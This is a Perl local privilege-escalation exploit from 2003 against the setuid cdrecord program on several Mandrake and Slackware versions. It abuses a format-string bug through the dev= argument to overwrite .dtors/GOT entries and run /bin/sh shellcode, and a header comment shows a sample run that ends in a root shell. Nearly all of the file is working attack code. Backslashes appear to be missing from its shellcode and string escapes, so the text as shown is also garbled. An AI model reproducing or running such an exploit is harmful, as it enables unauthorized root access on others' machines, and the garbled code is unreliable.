#!/usr/bin/perl
###########################################################
# Cdrecord version 2.0 and < local root exploit.
#
#
#   [wsxz@localhost buffer]$ perl priv8cdr.pl 4
#   Using target number 4
#   Using Mr .dtors 0x808c82c
#   Cdrecord 2.0 (i586-mandrake-linux-gnu)
#
#   scsibus: -1 target: -1 lun: -1
#   Warning: Open by 'devname' is unintentional and not supported.
#   /usr/bin/cdrecord: No such file or directory. Cannot open '. Cannot open SCSI driver.
#   /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'. Make sure you are root.
#   /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord dev=help'.
#   sh-2.05b# id
#   uid=0(root) gid=0(root) groups=503(wsxz)
#   sh-2.05b#
#####################################################

		    $shellcode =
                    "x31xc0x31xdbxb0x17xcdx80".#setuid 0
		    "x31xdbx89xd8xb0x2excdx80".#setgid 0
		    "xebx1fx5ex89x76x08x31xc0x88x46x07x89".
                    "x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c".
                    "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxff".
                    "xffxff/bin/sh";

		    $cdrecordpath = "/usr/bin/cdrecord";
		    $nop = "x90"; # x86 NOP
                    $offset = 0; # Default offset to try.


     if (@ARGV == 1 || @ARGV == 2) {
                    $target = $ARGV[0];
                    $offset = $ARGV[1];
		    }else{
		    printf(" Priv8security.com Cdrecord local root exploit!!n");
		    printf(" usage: $0 targetn");
		    printf(" List of targets:n");
		    printf("      1 - Linux Mandrake 8.2 Cdrecord 1.11a15n");
                    printf("      2 - Linux Mandrake 9.0 Cdrecord 1.11a32n");
                    printf("      3 - Linux Slackware 8.1 Cdrecord 1.11a24 not suid by default!!!n");
		    printf("      4 - Linux Mandrake 9.1 Cdrecord 2.0n");
		    exit(1);
		    }

     if ( $target eq "1" ) {
                   $retword = 0x0807af38; #Mr  .dtors ;)
		   $fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
		    }
     if ( $target eq "2" ) {
                  # $retword = 0x08084578; #.dtors
                   $retword = 0x08084684; #.GOT exit
		   $fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
		    }
      if ( $target eq "3" ) {
                   $retword = 0x0807f658;
                   $fmtstring =  "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
		    }
       if ( $target eq "4" ) {
                   $retword = 0x0808c82c; #.GOT exit
		   $fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
		    }

		    printf("Using target number %dn", $target);
                    printf("Using Mr .dtors 0x%xn",$retword);

		    $new_retword = pack('l', ($retword));
		    $new_retshell = pack('l', ($retshell));
                    $buffer2 = $new_retword;
                    $buffer2 .= $nop x 150;
                    $buffer2 .= $shellcode;
                    $buffer2 .= $fmtstring;

		    exec("$cdrecordpath dev='$buffer2' '$cdrecordpath'");


# www.Syue.com [2003-05-14]